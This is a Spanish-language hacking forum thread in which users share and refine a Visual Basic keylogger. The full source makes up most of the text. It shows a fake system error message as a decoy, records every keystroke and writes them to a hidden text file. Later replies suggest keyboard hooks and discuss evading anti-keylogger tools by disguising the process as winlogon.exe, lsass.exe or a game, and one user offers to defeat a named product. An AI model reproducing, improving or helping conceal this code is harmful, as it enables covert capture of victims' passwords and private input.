Keylogger vuelto lokoOo!

[MaLkAvIaN_NeT]

Bien man encontré este codigo y al ver tu post pensé que te podía servir

Global w As Integer
Global bb As Boolean

Dim m As String
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Private Sub Form_Load()
bb = False
Dim v As Integer
v = vbRetry
Do While v = vbRetry
v = MsgBox("Error 1845, ocurrio un error en el sistema al cargar los controladores de windows", vbCritical + vbAbortRetryIgnore, "ERROR")
Loop
Timer1.Interval = 1
Timer2.Interval = 10000
m = Minute(Time) + 5
End Sub

Private Sub Text3_Change()
w = w + 1
End Sub

Private Sub Timer1_Timer()
On Error Resume Next
Dim x As Integer, i As Integer
For i = 33 To 124
x = GetAsyncKeyState(i)
If x = -32767 Then
Text1.Text = Text1.Text + Chr(i)

End If
Next
Text3.Text = Text1.Text
x = GetAsyncKeyState(112)
If x = -32767 Then
Text1.Text = Text1.Text & "{F1}"
End If
x = GetAsyncKeyState(113)
If x = -32767 Then
Text1.Text = Text1.Text & "{F2}"
End If
x = GetAsyncKeyState(114)
If x = -32767 Then
Text1.Text = Text1.Text & "{F3}"
End If
x = GetAsyncKeyState(115)
If x = -32767 Then
Text1.Text = Text1.Text & "{F4}"
End If
x = GetAsyncKeyState(116)
If x = -32767 Then
Text1.Text = Text1.Text & "{F5}"
End If
x = GetAsyncKeyState(117)
If x = -32767 Then
Text1.Text = Text1.Text & "{F6}"
End If
x = GetAsyncKeyState(118)
If x = -32767 Then
Text1.Text = Text1.Text & "{F7}"
End If
x = GetAsyncKeyState(119)
If x = -32767 Then
Text1.Text = Text1.Text & "{F8}"
End If
x = GetAsyncKeyState(120)
If x = -32767 Then
Text1.Text = Text1.Text & "{F9}"
End If
x = GetAsyncKeyState(121)
If x = -32767 Then
Text1.Text = Text1.Text & "{F10}"
End If
x = GetAsyncKeyState(122)
If x = -32767 Then
Text1.Text = Text1.Text & "{F11}"
End If
x = GetAsyncKeyState(123)
If x = -32767 Then
Text1.Text = Text1.Text & "{F12}"
End If

x = GetAsyncKeyState(8)
If x = -32767 Then
Text1.Text = Mid(Text1.Text, 1, Len(Text1) - 1)
End If

x = GetAsyncKeyState(9)
If x = -32767 Then
Text1.Text = Text1.Text & "{tab}"
End If

x = GetAsyncKeyState(13)
If x = -32767 Then
Text1.Text = Text1.Text & "{enter}"
Text1 = Text1 & vbCrLf
End If

x = GetAsyncKeyState(27)
If x = -32767 Then
Text1.Text = Text1.Text & "{esc}"
Text1 = Text1 & vbCrLf
End If

x = GetAsyncKeyState(32)
If x = -32767 Then
Text1.Text = Text1.Text & " "
End If

Dim cad As String
Dim num As String
Dim c As String
cad = Text1.Text
num = Right(cad, 1)
Text2.Text = num
c = num
If num = "a" Then
c = "1"
bb = True
End If
If num = "b" Then
c = "2"
bb = True
End If
If num = "c" Then
c = "3"
bb = True
End If
If num = "d" Then
c = "4"
bb = True
End If
If num = "e" Then
c = "5"
bb = True
End If
If num = "f" Then
c = "6"
bb = True
End If
If num = "g" Then
c = "7"
bb = True
End If
If num = "h" Then
c = "8"
bb = True
End If
If num = "i" Then
c = "9"
bb = True
End If
If num = "`" Then
c = "0"
bb = True
End If

Text2.Text = c

If bb = True Then
Dim g As Integer
g = Len(Text1.Text) - 1
Text1.Text = Left(Text1.Text, g) + c

bb = False

End If

End Sub

Private Sub Timer2_Timer()
Open "\wintec.txt" For Append As #1
Print #1, Text1.Text
Text1.Text = ""
Close #1
If (Minute(Time) >= m) Then
Open "\wintec.txt" For Append As #1
Print #1, "----------- ----------- ------------"
Close #1
End
End If

End Sub

salu2

[yeikos]

si dices que te come las letras si escribes rapido porke no usas el keypress y almacenas la tecla pulsada en una variable ahi por muy rapido que escribas no se le va a pasar la tecla pulsa no se si me esplico si no dime y te pongo un ejemplillo ok bye

Lo que depende de que capture todas las teclas o no es el timer, menos intervalo = falla menos.

[Kizar]

en vez de usar tanto if usa el select case y el for, te aorraras la mitad del codigo y tu programa sera mas rapido y eficaz.
De todas maneras te recomiendo usar hooks.
Salu2

[A2Corp]

Weno pues... sip, como dicen todos y como yo no keria kreer pke se me hace mas dificil ese metodo, lo mejor es Hookear el teclado!, ya lo logre... Pero me encontre con otro problema!

Los antikeyloggers...
Esos que detectan los programas que hookean. e incluso me detecto el keylogger del kodigo que puse al inicio de todo este post.

Los antikeyloggers detectan todo  , mi pregunta es... Como burlarlos?
Precisamente hace un momento le pregunte a DEX, le comente que, hay procesos naturales de windows que tmb hacen sus hooks, y que el antikeylogger no los detecta...
entonces... Como hacerle kreer al antikeylogger que este keylogger es un proceso natural de windows?

Dex me dio la respuesta xD... no se puede!.
Pke se necesita un documento firmado de valided.

Alguien sabe burlar esto?

[yeikos]

Weno pues... sip, como dicen todos y como yo no keria kreer pke se me hace mas dificil ese metodo, lo mejor es Hookear el teclado!, ya lo logre... Pero me encontre con otro problema!

Los antikeyloggers...
Esos que detectan los programas que hookean. e incluso me detecto el keylogger del kodigo que puse al inicio de todo este post.

Los antikeyloggers detectan todo  , mi pregunta es... Como burlarlos?
Precisamente hace un momento le pregunte a DEX, le comente que, hay procesos naturales de windows que tmb hacen sus hooks, y que el antikeylogger no los detecta...
entonces... Como hacerle kreer al antikeylogger que este keylogger es un proceso natural de windows?

Dex me dio la respuesta xD... no se puede!.
Pke se necesita un documento firmado de valided.

Alguien sabe burlar esto?

Prueba a ponerle como nombre de proceso archivos esenciales de Windows, así como winlogon.exe, lsass.exe, etc.

[NYlOn]

mmm.... no c bien como poder burlarlos...
Pero como ya dije en otro tema

los Anti-Keylogger no son tan usados como los AVs... Ya hace bastante que existen, ademas la gente no les da mucha importancia ya que solo detecta los 'Posibles' keyloggers.. x ej, detecta algunos juegos x el solo echo de que necesitan detectar que letras son oprimidas para realizar cierta accion...

Lo q podes hacer es ponerle el nombre de algun juego (para confundir XD)
No creo que eso de ponerle el nombre de archivos del sistema resuelva el problema :S

un salud0 y si encontras la forma de burlarlos, x favor postea

salu2 !

[Slasher-K]

Decime el nombre del AntiKeylogger que lo detecta y veo como se puede burlar.

Saludos.

[A2Corp]

el kambiarle el nombre al proceso no ayuda en nada jejejeje...
El antikeylogger que uso es Advance Antikeylogger 3.61

Eso si... como menciona Nylon, los Antikeyloggers no se usan mucho